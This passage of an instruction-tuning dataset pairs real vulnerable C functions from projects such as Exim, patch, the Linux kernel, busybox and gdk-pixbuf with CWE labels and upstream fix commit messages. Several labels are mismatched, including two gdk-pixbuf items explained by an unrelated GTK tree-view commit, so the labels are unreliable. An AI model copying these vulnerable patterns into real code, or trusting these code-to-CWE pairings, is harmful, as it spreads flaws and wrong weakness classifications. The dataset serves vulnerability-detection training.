somewhere, with any luck. */\n\nif (*spool_directory == 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"spool_directory undefined: cannot \"\n \"proceed\");\n\n/* Expand the spool directory name; it may, for example, contain the primary\nhost name. Same comment about failure. */\n\ns = expand_string(spool_directory);\nif (s == NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to expand spool_directory \"\n \"\\\"%s\\\": %s\", spool_directory, expand_string_message);\nspool_directory = s;\n\n/* Expand log_file_path, which must contain \"%s\" in any component that isn't\nthe null string or \"syslog\". It is also allowed to contain one instance of %D.\nHowever, it must NOT contain % followed by anything else. */\n\nif (*log_file_path != 0)\n {\n uschar *ss, *sss;\n int sep = ':'; /* Fixed for log file path */\n s = expand_string(log_file_path);\n if (s == NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to expand log_file_path \"\n \"\\\"%s\\\": %s\", log_file_path, expand_string_message);\n\n ss = s;\n while ((sss = string_nextinlist(&ss,&sep,big_buffer,big_buffer_size)) != NULL)\n {\n uschar *t;\n if (sss[0] == 0 || Ustrcmp(sss, \"syslog\") == 0) continue;\n t = Ustrstr(sss, \"%s\");\n if (t == NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"log_file_path \\\"%s\\\" does not \"\n \"contain \\\"%%s\\\"\", sss);\n *t = 'X';\n t = Ustrchr(sss, '%');\n if (t != NULL)\n {\n if (t[1] != 'D' || Ustrchr(t+2, '%') != NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"log_file_path \\\"%s\\\" contains \"\n \"unexpected \\\"%%\\\" character\", s);\n }\n }\n\n log_file_path = s;\n }\n\n/* Interpret syslog_facility into an integer argument for 'ident' param to\nopenlog(). Default is LOG_MAIL set in globals.c. Allow the user to omit the\nleading \"log_\". */\n\nif (syslog_facility_str != NULL)\n {\n int i;\n uschar *s = syslog_facility_str;\n\n if ((Ustrlen(syslog_facility_str) >= 4) &&\n (strncmpic(syslog_facility_str, US\"log_\", 4) == 0))\n s += 4;\n\n for (i = 0; i < syslog_list_size; i++)\n {\n if (strcmpic(s, syslog_list[i].name) == 0)\n {\n syslog_facility = syslog_list[i].value;\n break;\n }\n }\n\n if (i >= syslog_list_size)\n {\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"failed to interpret syslog_facility \\\"%s\\\"\", syslog_facility_str);\n }\n }\n\n/* Expand pid_file_path */\n\nif (*pid_file_path != 0)\n {\n s = expand_string(pid_file_path);\n if (s == NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to expand pid_file_path \"\n \"\\\"%s\\\": %s\", pid_file_path, expand_string_message);\n pid_file_path = s;\n }\n\n/* Compile the regex for matching a UUCP-style \"From_\" line in an incoming\nmessage. */\n\nregex_From = regex_must_compile(uucp_from_pattern, FALSE, TRUE);\n\n/* Unpick the SMTP rate limiting options, if set */\n\nif (smtp_ratelimit_mail != NULL)\n {\n unpick_ratelimit(smtp_ratelimit_mail, &smtp_rlm_threshold,\n &smtp_rlm_base, &smtp_rlm_factor, &smtp_rlm_limit);\n }\n\nif (smtp_ratelimit_rcpt != NULL)\n {\n unpick_ratelimit(smtp_ratelimit_rcpt, &smtp_rlr_threshold,\n &smtp_rlr_base, &smtp_rlr_factor, &smtp_rlr_limit);\n }\n\n/* The qualify domains default to the primary host name */\n\nif (qualify_domain_sender == NULL)\n qualify_domain_sender = primary_hostname;\nif (qualify_domain_recipient == NULL)\n qualify_domain_recipient = qualify_domain_sender;\n\n/* Setting system_filter_user in the configuration sets the gid as well if a\nname is given, but a numerical value does not. */\n\nif (system_filter_uid_set && !system_filter_gid_set)\n {\n struct passwd *pw = getpwuid(system_filter_uid);\n if (pw == NULL)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"Failed to look up uid %ld\",\n (long int)system_filter_uid);\n system_filter_gid = pw->pw_gid;\n system_filter_gid_set = TRUE;\n }\n\n/* If the errors_reply_to field is set, check that it is syntactically valid\nand ensure it contains a domain. */\n\nif (errors_reply_to != NULL)\n {\n uschar *errmess;\n int start, end, domain;\n uschar *recipient = parse_extract_address(errors_reply_to, &errmess,\n &start, &end, &domain, FALSE);\n\n if (recipient == NULL)\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"error in errors_reply_to (%s): %s\", errors_reply_to, errmess);\n\n if (domain == 0)\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"errors_reply_to (%s) does not contain a domain\", errors_reply_to);\n }\n\n/* If smtp_accept_queue or smtp_accept_max_per_host is set, then\nsmtp_accept_max must also be set. */\n\nif (smtp_accept_max == 0 &&\n (smtp_accept_queue > 0 || smtp_accept_max_per_host != NULL))\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"smtp_accept_max must be set if smtp_accept_queue or \"\n \"smtp_accept_max_per_host is set\");\n\n/* Set up the host number if anything is specified. It is an expanded string\nso that it can be computed from the host name, for example. We do this last\nso as to ensure that everything else is set up before the expansion. */\n\nif (host_number_string != NULL)\n {\n uschar *end;\n uschar *s = expand_string(host_number_string);\n long int n = Ustrtol(s, &end, 0);\n while (isspace(*end)) end++;\n if (*end != 0)\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"localhost_number value is not a number: %s\", s);\n if (n > LOCALHOST_MAX)\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"localhost_number is greater than the maximum allowed value (%d)\",\n LOCALHOST_MAX);\n host_number = n;\n }\n\n#ifdef SUPPORT_TLS\n/* If tls_verify_hosts is set, tls_verify_certificates must also be set */\n\nif ((tls_verify_hosts != NULL || tls_try_verify_hosts != NULL) &&\n tls_verify_certificates == NULL)\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"tls_%sverify_hosts is set, but tls_verify_certificates is not set\",\n (tls_verify_hosts != NULL)? \"\" : \"try_\");\n\n/* If openssl_options is set, validate it */\nif (openssl_options != NULL)\n {\n# ifdef USE_GNUTLS\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"openssl_options is set but we're using GnuTLS\");\n# else\n long dummy;\n if (!(tls_openssl_options_parse(openssl_options, &dummy)))\n log_write(0, LOG_PANIC_DIE|LOG_CONFIG,\n \"openssl_options parse error: %s\", openssl_options);\n# endif\n }\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'Check configure file permissions even for non-default files if still privileged\n\n(Bug 1044, CVE-2010-4345)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: strip_leading_slashes (char *name, int strip_leading)\n{\n int s = strip_leading;\n char *p, *n;\n\n for (p = n = name; *p; p++)\n {\n if (ISSLASH (*p))\n\t{\n\t while (ISSLASH (p[1]))\n\t p++;\n\t if (strip_leading < 0 || --s >= 0)\n\t n = p+1;\n\t}\n }\n if ((strip_leading < 0 || s <= 0) && *n)\n {\n memmove (name, n, strlen (n) + 1);\n return true;\n }\n else\n return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'Do not let a malicious patch create files above current directory\n\nThis addresses CVE-2010-4651, reported by Jakub Wilk.\nhttps://bugzilla.redhat.com/show_bug.cgi?id=CVE-2010-4651\n* src/util.c (strip_leading_slashes): Reject absolute file names\nand file names containing a component of \"..\".\n* tests/bad-filenames: New file. Test for this.\n* tests/Makefile.am (TESTS): Add it.\nImprovements by Andreas Gruenbacher.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct kmem_cache *ccid_kmem_cache_create(int obj_size, char *slab_name_fmt, const char *fmt,...)\n{\n\tstruct kmem_cache *slab;\n\tva_list args;\n\n\tva_start(args, fmt);\n\tvsnprintf(slab_name_fmt, sizeof(slab_name_fmt), fmt, args);\n\tva_end(args);\n\n\tslab = kmem_cache_create(slab_name_fmt, sizeof(struct ccid) + obj_size, 0,\n\t\t\t\t SLAB_HWCACHE_ALIGN, NULL);\n\treturn slab;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'dccp: fix bug in cache allocation\n\nThis fixes a bug introduced in commit de4ef86cfce60d2250111f34f8a084e769f23b16\n(\"dccp: fix dccp rmmod when kernel configured to use slub\", 17 Jan): the\nvsnprintf used sizeof(slab_name_fmt), which became truncated to 4 bytes, since\nslab_name_fmt is now a 4-byte pointer and no longer a 32-character array.\n\nThis lead to error messages such as\n FATAL: Error inserting dccp: No buffer space available\n\n >> kernel: [ 1456.341501] kmem_cache_create: duplicate cache cci\ngenerated due to the truncation after the 3rd character.\n\nFixed for the moment by introducing a symbolic constant. Tested to fix the bug.\n\nSigned-off-by: Gerrit Renker \nAcked-by: Neil Horman \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: do_ipt_get_ctl(struct sock *sk, int cmd, void __user *user, int *len)\n{\n\tint ret;\n\n\tif (!capable(CAP_NET_ADMIN))\n\t\treturn -EPERM;\n\n\tswitch (cmd) {\n\tcase IPT_SO_GET_INFO:\n\t\tret = get_info(sock_net(sk), user, len, 0);\n\t\tbreak;\n\n\tcase IPT_SO_GET_ENTRIES:\n\t\tret = get_entries(sock_net(sk), user, len);\n\t\tbreak;\n\n\tcase IPT_SO_GET_REVISION_MATCH:\n\tcase IPT_SO_GET_REVISION_TARGET: {\n\t\tstruct xt_get_revision rev;\n\t\tint target;\n\n\t\tif (*len != sizeof(rev)) {\n\t\t\tret = -EINVAL;\n\t\t\tbreak;\n\t\t}\n\t\tif (copy_from_user(&rev, user, sizeof(rev)) != 0) {\n\t\t\tret = -EFAULT;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (cmd == IPT_SO_GET_REVISION_TARGET)\n\t\t\ttarget = 1;\n\t\telse\n\t\t\ttarget = 0;\n\n\t\ttry_then_request_module(xt_find_revision(AF_INET, rev.name,\n\t\t\t\t\t\t\t rev.revision,\n\t\t\t\t\t\t\t target, &ret),\n\t\t\t\t\t\"ipt_%s\", rev.name);\n\t\tbreak;\n\t}\n\n\tdefault:\n\t\tduprintf(\"do_ipt_get_ctl: unknown request %i\\n\", cmd);\n\t\tret = -EINVAL;\n\t}\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'netfilter: ip_tables: fix infoleak to userspace\n\nStructures ipt_replace, compat_ipt_replace, and xt_get_revision are\ncopied from userspace. Fields of these structs that are\nzero-terminated strings are not checked. When they are used as argument\nto a format string containing \"%s\" in request_module(), some sensitive\ninformation is leaked to userspace via argument of spawned modprobe\nprocess.\n\nThe first and the third bugs were introduced before the git epoch; the\nsecond was introduced in 2722971c (v2.6.17-rc1). To trigger the bug\none should have CAP_NET_ADMIN.\n\nSigned-off-by: Vasiliy Kulikov \nSigned-off-by: Patrick McHardy '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static rsRetVal qAddDirect(qqueue_t *pThis, void* pUsr)\n{\n\tbatch_t singleBatch;\n\tbatch_obj_t batchObj;\n\tDEFiRet;\n\n\t//TODO: init batchObj (states _OK and new fields -- CHECK)\n\tASSERT(pThis != NULL);\n\n\t/* calling the consumer is quite different here than it is from a worker thread */\n\t/* we need to provide the consumer's return value back to the caller because in direct\n\t * mode the consumer probably has a lot to convey (which get's lost in the other modes\n\t * because they are asynchronous. But direct mode is deliberately synchronous.\n\t * rgerhards, 2008-02-12\n\t * We use our knowledge about the batch_t structure below, but without that, we\n\t * pay a too-large performance toll... -- rgerhards, 2009-04-22\n\t */\n\tmemset(&batchObj, 0, sizeof(batch_obj_t));\n\tmemset(&singleBatch, 0, sizeof(batch_t));\n\tbatchObj.state = BATCH_STATE_RDY;\n\tbatchObj.pUsrp = (obj_t*) pUsr;\n\tbatchObj.bFilterOK = 1;\n\tsingleBatch.nElem = 1; /* there always is only one in direct mode */\n\tsingleBatch.pElem = &batchObj;\n\tiRet = pThis->pConsumer(pThis->pUsr, &singleBatch, &pThis->bShutdownImmediate);\n\tobjDestruct(pUsr);\n\n\tRETiRet;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'bugfix: memory leak when $RepeatedMsgReduction on was used\n\nbug tracker: http://bugzilla.adiscon.com/show_bug.cgi?id=225'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void\nmono_reflection_destroy_dynamic_method (MonoReflectionDynamicMethod *mb)\n{\n\tg_assert (mb);\n\n\tif (mb->mhandle)\n\t\tmono_runtime_free_method (\n\t\t\tmono_object_get_domain ((MonoObject*)mb), mb->mhandle); ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-264'], 'message': 'Don't use finalization to cleanup dynamic methods.\n\n * reflection.c: Use a reference queue to cleanup\n dynamic methods instead of finalization.\n\n * runtime.c: Shutdown the dynamic method queue\n before runtime cleanup begins.\n\n * DynamicMethod.cs: No longer finalizable.\n\n * icall-def.h: Remove unused dynamic method icall.\n\n Fixes #660422\n\n Implement a reference queue API.\n\n * gc.c: A reference queue allows one to queue\n callbcks for when objects are collected.\n It allows for safe cleanup of objects that can\n only be done when it is effectively collected.\n The major difference with regular finalization\n is that the collector makes sure the object\n was collected - and can't be resurrected.\n\n * gc-internal.h: Export entrypoints for the\n new API.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: thunar_transfer_job_copy_node (ThunarTransferJob *job,\n ThunarTransferNode *node,\n GFile *target_file,\n GFile *target_parent_file,\n GList **target_file_list_return,\n GError **error)\n{\n ThunarThumbnailCache *thumbnail_cache;\n ThunarApplication *application;\n ThunarJobResponse response;\n GFileInfo *info;\n GError *err = NULL;\n GFile *real_target_file = NULL;\n gchar *base_name;\n\n _thunar_return_if_fail (THUNAR_IS_TRANSFER_JOB (job));\n _thunar_return_if_fail (node != NULL && G_IS_FILE (node->source_file));\n _thunar_return_if_fail (target_file == NULL || node->next == NULL);\n _thunar_return_if_fail ((target_file == NULL && target_parent_file != NULL) || (target_file != NULL && target_parent_file == NULL));\n _thunar_return_if_fail (error == NULL || *error == NULL);\n\n /* The caller can either provide a target_file or a target_parent_file, but not both. The toplevel\n * transfer_nodes (for which next is NULL) should be called with target_file, to get proper behavior\n * wrt restoring files from the trash. Other transfer_nodes will be called with target_parent_file.\n */\n\n /* take a reference on the thumbnail cache */\n application = thunar_application_get ();\n thumbnail_cache = thunar_application_get_thumbnail_cache (application);\n g_object_unref (application);\n\n for (; err == NULL && node != NULL; node = node->next)\n {\n /* guess the target file for this node (unless already provided) */\n if (G_LIKELY (target_file == NULL))\n {\n base_name = g_file_get_basename (node->source_file);\n target_file = g_file_get_child (target_parent_file, base_name);\n g_free (base_name);\n }\n else\n target_file = g_object_ref (target_file);\n\n /* query file info */\n info = g_file_query_info (node->source_file,\n G_FILE_ATTRIBUTE_STANDARD_DISPLAY_NAME,\n G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS,\n exo_job_get_cancellable (EXO_JOB (job)),\n &err);\n\n /* abort on error or cancellation */\n if (info == NULL)\n {\n g_object_unref (target_file);\n break;\n }\n\n /* update progress information */\n exo_job_info_message (EXO_JOB (job), g_file_info_get_display_name (info));\n\nretry_copy:\n /* copy the item specified by this node (not recursively) */\n real_target_file = thunar_transfer_job_copy_file (job, node->source_file, \n target_file, &err);\n if (G_LIKELY (real_target_file != NULL))\n {\n /* node->source_file == real_target_file means to skip the file */\n if (G_LIKELY (node->source_file != real_target_file))\n {\n /* notify the thumbnail cache of the copy operation */\n thunar_thumbnail_cache_copy_file (thumbnail_cache, \n node->source_file, \n real_target_file);\n\n /* check if we have children to copy */\n if (node->children != NULL)\n {\n /* copy all children of this node */\n thunar_transfer_job_copy_node (job, node->children, NULL, real_target_file, NULL, &err);\n\n /* free resources allocted for the children */\n thunar_transfer_node_free (node->children);\n node->children = NULL;\n }\n\n /* check if the child copy failed */\n if (G_UNLIKELY (err != NULL))\n {\n /* outa here, freeing the target paths */\n g_object_unref (real_target_file);\n g_object_unref (target_file);\n break;\n }\n\n /* add the real target file to the return list */\n if (G_LIKELY (target_file_list_return != NULL))\n {\n *target_file_list_return = \n thunar_g_file_list_prepend (*target_file_list_return, \n real_target_file);\n }\n\nretry_remove:\n /* try to remove the source directory if we are on copy+remove fallback for move */\n if (job->type == THUNAR_TRANSFER_JOB_MOVE)\n {\n if (g_file_delete (node->source_file, \n exo_job_get_cancellable (EXO_JOB (job)), \n &err))\n {\n /* notify the thumbnail cache of the delete operation */\n thunar_thumbnail_cache_delete_file (thumbnail_cache, \n node->source_file);\n }\n else\n {\n /* ask the user to retry */\n response = thunar_job_ask_skip (THUNAR_JOB (job), \"%s\", \n err->message);\n\n /* reset the error */\n g_clear_error (&err);\n\n /* check whether to retry */\n if (G_UNLIKELY (response == THUNAR_JOB_RESPONSE_RETRY))\n goto retry_remove;\n }\n }\n }\n\n g_object_unref (real_target_file);\n }\n else if (err != NULL)\n { \n /* we can only skip if there is space left on the device */\n if (err->domain != G_IO_ERROR || err->code != G_IO_ERROR_NO_SPACE) \n {\n /* ask the user to skip this node and all subnodes */\n response = thunar_job_ask_skip (THUNAR_JOB (job), \"%s\", err->message);\n\n /* reset the error */\n g_clear_error (&err);\n\n /* check whether to retry */\n if (G_UNLIKELY (response == THUNAR_JOB_RESPONSE_RETRY))\n goto retry_copy;\n }\n }\n\n /* release the guessed target file */\n g_object_unref (target_file);\n target_file = NULL;\n\n /* release file info */\n g_object_unref (info);\n }\n\n /* release the thumbnail cache */\n g_object_unref (thumbnail_cache);\n\n /* propagate error if we failed or the job was cancelled */\n if (G_UNLIKELY (err != NULL))\n g_propagate_error (error, err);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-134'], 'message': 'Don't interpret file display names as format strings\n\nThis avoids a segfault when copying/moving files containing \"%\" formatters\nin their name.\n\nSigned-off-by: Jannis Pohlmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int FAST_FUNC udhcp_str2optset(const char *const_str, void *arg)\n{\n\tstruct option_set **opt_list = arg;\n\tchar *opt, *val, *endptr;\n\tchar *str;\n\tconst struct dhcp_optflag *optflag;\n\tstruct dhcp_optflag bin_optflag;\n\tunsigned optcode;\n\tint retval, length;\n\tchar buffer[8] ALIGNED(4);\n\tuint16_t *result_u16 = (uint16_t *) buffer;\n\tuint32_t *result_u32 = (uint32_t *) buffer;\n\n\t/* Cheat, the only *const* str possible is \"\" */\n\tstr = (char *) const_str;\n\topt = strtok(str, \" \\t=\");\n\tif (!opt)\n\t\treturn 0;\n\n\toptcode = bb_strtou(opt, NULL, 0);\n\tif (!errno && optcode < 255) {\n\t\t/* Raw (numeric) option code */\n\t\tbin_optflag.flags = OPTION_BIN;\n\t\tbin_optflag.code = optcode;\n\t\toptflag = &bin_optflag;\n\t} else {\n\t\toptflag = &dhcp_optflags[udhcp_option_idx(opt)];\n\t}\n\n\tretval = 0;\n\tdo {\n\t\tval = strtok(NULL, \", \\t\");\n\t\tif (!val)\n\t\t\tbreak;\n\t\tlength = dhcp_option_lengths[optflag->flags & OPTION_TYPE_MASK];\n\t\tretval = 0;\n\t\topt = buffer; /* new meaning for variable opt */\n\t\tswitch (optflag->flags & OPTION_TYPE_MASK) {\n\t\tcase OPTION_IP:\n\t\t\tretval = udhcp_str2nip(val, buffer);\n\t\t\tbreak;\n\t\tcase OPTION_IP_PAIR:\n\t\t\tretval = udhcp_str2nip(val, buffer);\n\t\t\tval = strtok(NULL, \", \\t/-\");\n\t\t\tif (!val)\n\t\t\t\tretval = 0;\n\t\t\tif (retval)\n\t\t\t\tretval = udhcp_str2nip(val, buffer + 4);\n\t\t\tbreak;\n\t\tcase OPTION_STRING:\n#if ENABLE_FEATURE_UDHCP_RFC3397\n\t\tcase OPTION_DNS_STRING:\n#endif\n\t\t\tlength = strnlen(val, 254);\n\t\t\tif (length > 0) {\n\t\t\t\topt = val;\n\t\t\t\tretval = 1;\n\t\t\t}\n\t\t\tbreak;\n//\t\tcase OPTION_BOOLEAN: {\n//\t\t\tstatic const char no_yes[] ALIGN1 = \"no\\0yes\\0\";\n//\t\t\tbuffer[0] = retval = index_in_strings(no_yes, val);\n//\t\t\tretval++; /* 0 - bad; 1: \"no\" 2: \"yes\" */\n//\t\t\tbreak;\n//\t\t}\n\t\tcase OPTION_U8:\n\t\t\tbuffer[0] = strtoul(val, &endptr, 0);\n\t\t\tretval = (endptr[0] == '\\0');\n\t\t\tbreak;\n\t\t/* htonX are macros in older libc's, using temp var\n\t\t * in code below for safety */\n\t\t/* TODO: use bb_strtoX? */\n\t\tcase OPTION_U16: {\n\t\t\tunsigned long tmp = strtoul(val, &endptr, 0);\n\t\t\t*result_u16 = htons(tmp);\n\t\t\tretval = (endptr[0] == '\\0' /*&& tmp < 0x10000*/);\n\t\t\tbreak;\n\t\t}\n//\t\tcase OPTION_S16: {\n//\t\t\tlong tmp = strtol(val, &endptr, 0);\n//\t\t\t*result_u16 = htons(tmp);\n//\t\t\tretval = (endptr[0] == '\\0');\n//\t\t\tbreak;\n//\t\t}\n\t\tcase OPTION_U32: {\n\t\t\tunsigned long tmp = strtoul(val, &endptr, 0);\n\t\t\t*result_u32 = htonl(tmp);\n\t\t\tretval = (endptr[0] == '\\0');\n\t\t\tbreak;\n\t\t}\n\t\tcase OPTION_S32: {\n\t\t\tlong tmp = strtol(val, &endptr, 0);\n\t\t\t*result_u32 = htonl(tmp);\n\t\t\tretval = (endptr[0] == '\\0');\n\t\t\tbreak;\n\t\t}\n\t\tcase OPTION_BIN: /* handled in attach_option() */\n\t\t\topt = val;\n\t\t\tretval = 1;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tif (retval)\n\t\t\tattach_option(opt_list, optflag, opt, length);\n\t} while (retval && optflag->flags & OPTION_LIST);\n\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'udhcpc: sanitize hostnames in incoming packets. Closes 3979.\n\nThe following options are replaced with string \"bad\" if they\ncontain malformed hostname:\nHOST_NAME, DOMAIN_NAME, NIS_DOMAIN, TFTP_SERVER_NAME\n\nfunction old new delta\nxmalloc_optname_optval 850 888 +38\nattach_option 440 443 +3\nlen_of_option_as_string 13 14 +1\ndhcp_option_lengths 13 14 +1\n------------------------------------------------------------------------------\n(add/remove: 0/0 grow/shrink: 4/0 up/down: 43/0) Total: 43 bytes\n\nSigned-off-by: Denys Vlasenko '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: png_error_callback(png_structp png_read_ptr,\n png_const_charp error_msg)\n{\n LoadContext* lc;\n \n lc = png_get_error_ptr(png_read_ptr);\n \n lc->fatal_error_occurred = TRUE;\n\n /* I don't trust libpng to call the error callback only once,\n * so check for already-set error\n */\n if (lc->error && *lc->error == NULL) {\n g_set_error (lc->error,\n GDK_PIXBUF_ERROR,\n GDK_PIXBUF_ERROR_CORRUPT_IMAGE,\n _(\"Fatal error reading PNG image file: %s\"),\n error_msg);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Initial stab at getting the focus code to work.\n\nFri Jun 1 18:54:47 2001 Jonathan Blandford \n\n\t* gtk/gtktreeview.c: (gtk_tree_view_focus): Initial stab at\n\tgetting the focus code to work.\n\t(gtk_tree_view_class_init): Add a bunch of keybindings.\n\n\t* gtk/gtktreeviewcolumn.c\n\t(gtk_tree_view_column_set_cell_data_func):\n\ts/GtkCellDataFunc/GtkTreeCellDataFunc.\n\t(_gtk_tree_view_column_set_tree_view): Use \"notify::model\" instead\n\tof \"properties_changed\" to help justify the death of the latter\n\tsignal. (-:\n\n\t* tests/testtreefocus.c (main): Let some columns be focussable to\n\ttest focus better.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: new_context (void)\n{\n\tGifContext *context;\n\n\tcontext = g_new0 (GifContext, 1);\n\n context->animation = g_object_new (GDK_TYPE_PIXBUF_GIF_ANIM, NULL); \n\tcontext->frame = NULL;\n\tcontext->file = NULL;\n\tcontext->state = GIF_START;\n\tcontext->prepare_func = NULL;\n\tcontext->update_func = NULL;\n\tcontext->user_data = NULL;\n\tcontext->buf = NULL;\n\tcontext->amount_needed = 0;\n\tcontext->gif89.transparent = -1;\n\tcontext->gif89.delay_time = -1;\n\tcontext->gif89.input_flag = -1;\n\tcontext->gif89.disposal = -1;\n\n\treturn context;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Initial stab at getting the focus code to work.\n\nFri Jun 1 18:54:47 2001 Jonathan Blandford \n\n\t* gtk/gtktreeview.c: (gtk_tree_view_focus): Initial stab at\n\tgetting the focus code to work.\n\t(gtk_tree_view_class_init): Add a bunch of keybindings.\n\n\t* gtk/gtktreeviewcolumn.c\n\t(gtk_tree_view_column_set_cell_data_func):\n\ts/GtkCellDataFunc/GtkTreeCellDataFunc.\n\t(_gtk_tree_view_column_set_tree_view): Use \"notify::model\" instead\n\tof \"properties_changed\" to help justify the death of the latter\n\tsignal. (-:\n\n\t* tests/testtreefocus.c (main): Let some columns be focussable to\n\ttest focus better.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ssize_t tpm_read(struct file *file, char __user *buf,\n\t\t size_t size, loff_t *off)\n{\n\tstruct tpm_chip *chip = file->private_data;\n\tssize_t ret_size;\n\n\tdel_singleshot_timer_sync(&chip->user_read_timer);\n\tflush_work_sync(&chip->work);\n\tret_size = atomic_read(&chip->data_pending);\n\tatomic_set(&chip->data_pending, 0);\n\tif (ret_size > 0) {\t/* relay data */\n\t\tif (size < ret_size)\n\t\t\tret_size = size;\n\n\t\tmutex_lock(&chip->buffer_mutex);\n\t\tif (copy_to_user(buf, chip->data_buffer, ret_size))\n\t\t\tret_size = -EFAULT;\n\t\tmutex_unlock(&chip->buffer_mutex);\n\t}\n\n\treturn ret_size;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'TPM: Zero buffer after copying to userspace\n\nSince the buffer might contain security related data it might be a good idea to\nzero the buffer after we have copied it to userspace.\n\nThis got assigned CVE-2011-1162.\n\nSigned-off-by: Rajiv Andrade '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline long div_long_long_rem_signed(const long long dividend,\n\t\t\t\t\t const long divisor, long *remainder)\n{\n\tlong res;\n\n\tif (unlikely(dividend < 0)) {\n\t\tres = -div_long_long_rem(-dividend, divisor, remainder);\n\t\t*remainder = -(*remainder);\n\t} else\n\t\tres = div_long_long_rem(dividend, divisor, remainder);\n\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'remove div_long_long_rem\n\nx86 is the only arch right now, which provides an optimized for\ndiv_long_long_rem and it has the downside that one has to be very careful that\nthe divide doesn't overflow.\n\nThe API is a little akward, as the arguments for the unsigned divide are\nsigned. The signed version also doesn't handle a negative divisor and\nproduces worse code on 64bit archs.\n\nThere is little incentive to keep this API alive, so this converts the few\nusers to the new API.\n\nSigned-off-by: Roman Zippel \nCc: Ralf Baechle \nCc: Ingo Molnar \nCc: Thomas Gleixner \nCc: john stultz \nCc: Christoph Lameter \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: */\nstatic xmlXPathParserContextPtr\nxmlXPathCompParserContext(xmlXPathCompExprPtr comp, xmlXPathContextPtr ctxt) {\n xmlXPathParserContextPtr ret;\n\n ret = (xmlXPathParserContextPtr) 